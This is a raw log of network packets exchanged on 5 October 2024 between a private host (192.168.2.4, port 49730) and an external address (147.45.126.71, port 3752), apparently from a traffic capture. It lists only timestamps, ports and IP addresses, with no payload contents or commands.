Oct 5, 2024 14:33:07.803756952 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.809086084 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.809137106 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.809175968 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.809190989 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.812576056 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.812644958 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.812669992 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.812706947 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.812758923 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.812911034 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.813036919 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.813071966 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.813081026 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.813226938 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.813261032 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.813275099 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.813519001 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.813554049 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.813568115 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.813590050 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.813683987 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.813694000 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.813906908 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.813937902 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.813956976 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.814063072 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.814096928 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.814111948 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.814131975 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.814167023 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.814178944 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.815531969 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.815606117 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.815660954 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.815696001 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.815738916 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.821472883 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.821518898 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.821557045 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.821568966 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.821594954 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.821641922 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.821830988 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.821867943 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.821902990 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.821957111 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.823493958 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.823549032 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.823553085 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.823584080 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.823632002 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.823714972 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.826098919 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.826153040 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.826155901 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.826208115 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.826236963 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.826258898 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.829130888 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.829174042 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.829189062 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.829212904 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.829251051 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.829262018 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.831314087 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.831368923 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.831409931 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.831446886 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.831490993 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.833997965 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.834112883 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.834146023 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.834166050 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.839248896 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.839299917 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.839314938 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.839340925 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.839396954 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.841135979 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.841187000 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.841227055 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.841243982 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.844217062 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.844266891 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.844284058 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.844310999 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.844361067 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.844856024 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.844913960 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.844944954 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.844963074 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.845040083 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.845088005 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.849490881 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.849539995 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.849577904 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.849589109 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.854787111 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.854912043 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.854928970 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.854962111 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.854998112 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.855010986 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.855974913 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.856025934 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.856065035 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.856106043 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.856154919 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.860332012 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.860454082 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.860505104 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.860508919 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.872601032 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.872653008 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.872674942 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.872693062 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.872745037 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.873558998 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.873589993 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.873626947 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.873632908 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.873666048 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.873708963 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.874541998 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.874857903 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.874943018 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.874963045 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.875006914 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.875093937 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.876781940 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.876811981 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.876847982 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.876852989 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.876935959 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.876966953 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.876987934 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.876996994 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.877041101 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.877285004 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.877320051 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.877373934 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.877387047 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.877634048 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.877667904 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.877691984 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.879446030 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.879502058 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.879615068 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.879646063 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.879697084 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.879776001 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.879808903 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.879861116 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.879944086 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.879972935 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.880012035 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.882535934 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.882569075 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.882602930 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.882616997 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.882806063 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.882843971 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.882858992 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.883091927 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.883141994 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.889940023 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.889982939 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.890023947 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.890052080 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.890063047 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.890114069 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.890325069 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.890386105 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.890419960 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.890435934 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.890458107 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.890491009 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.890508890 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.890525103 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.890559912 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.890573978 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.890595913 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.890638113 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.890639067 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.892299891 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.892362118 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.892390966 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.892426968 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.892477989 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.895632982 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.895731926 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.895766020 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.895790100 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.895801067 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.895844936 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.897430897 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.897522926 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.897559881 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.897572041 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.899667025 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.899729967 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.899776936 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.899812937 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.899857998 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.905004025 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.905049086 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.905093908 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.905111074 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.905150890 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.905185938 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.905194998 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.905226946 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.905275106 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.905477047 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.905625105 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.905659914 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.905673027 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.907594919 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.907666922 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.907690048 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.907728910 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.907776117 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.909619093 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.909718037 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.909749031 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.909775972 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.909811974 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.909862041 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.912954092 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.913005114 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.913043976 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.913057089 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.913324118 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.913371086 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.913383961 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.913419008 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.913461924 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.916580915 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.916644096 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.916726112 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.916753054 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.916759968 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.916805029 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.916852951 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.916888952 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.916924000 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.916930914 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.923574924 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.923621893 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.923640013 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.923662901 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.923700094 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.923728943 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.923734903 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.923789978 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.923799038 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.923836946 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.923871994 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.923899889 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.923909903 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.923962116 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.924226999 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.924257994 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.924288988 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.924302101 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.924324036 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.924376965 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.925919056 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.926040888 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.926079035 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.926090956 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.926891088 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.926925898 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.926960945 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.926963091 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.927005053 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.928792000 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.928822994 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.928858042 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.928867102 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.928927898 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.928977013 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.929455996 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.929652929 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.929687977 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.929708004 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.932931900 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.932996035 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.933033943 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.933073997 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.933108091 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.933125973 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.933144093 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.933180094 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.933191061 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.934674978 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.934721947 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.934736013 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.934760094 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.934808016 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.935216904 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.935410023 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.935441971 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.935458899 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.935480118 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.935532093 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.936784983 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.936836958 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.936872005 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.936906099 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.936928034 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.936942101 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.936959982 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.936979055 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.937026978 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.937336922 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.937432051 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.937465906 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.937474012 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.941127062 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.941169977 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.941184044 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.941234112 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:07.941282988 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:07.941288948 CEST	3752	49730	147.45.126.71	192.168.2.4
